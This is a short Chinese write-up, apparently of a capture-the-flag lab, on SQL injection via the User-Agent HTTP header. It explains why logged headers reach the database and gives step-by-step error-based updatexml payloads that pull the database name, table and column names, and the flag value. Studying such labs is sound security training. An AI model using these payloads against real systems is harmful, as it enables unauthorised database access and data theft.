Head注入的区别与GET/POST的区别在于,HEAD时面的参数如果不存数据库,注入进去是没有任何意义的,而GET/POST在业务增删改查过种中上肯定会要操作数据库的,但现在软件一般都有日志记录,保存到数据库中。
虽然我知道 这是Head注入,但忍不住试一下POST能不能提交,哈哈被过滤了*
进入正题:
获取数据库库名
User-Agent:’ or updatexml(1,concat(0x7e,(select database())),1),1)#
User-Agent本身是用于后台识别客户端是用的什么浏览器访问的,比如有Wap(手机版),Firefox(火狐浏览器),Chrome(谷歌浏览器)等,每个浏览器都有一个自己的身份。所以一般存日志都会存你是用的什么内核浏览器访问的。所以这里把Agent的内容替换成是注入的sql。
注:
- 这里语法比较复杂,特别要注意每个括号要成对匹配
- 语句中有一个0x7e 这是十六进制参数“~”
获取表名
User-Agent:’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1)#
这里一共有(flag_head, ip, refer, uagent, user 四个表)我要的数据可能在flag_head 或 uagent中。
获取表中的列
User-Agent:’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=’flag_head’ limit 1,1)),1),1)#
获取列数据
User-Agent:’ or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)#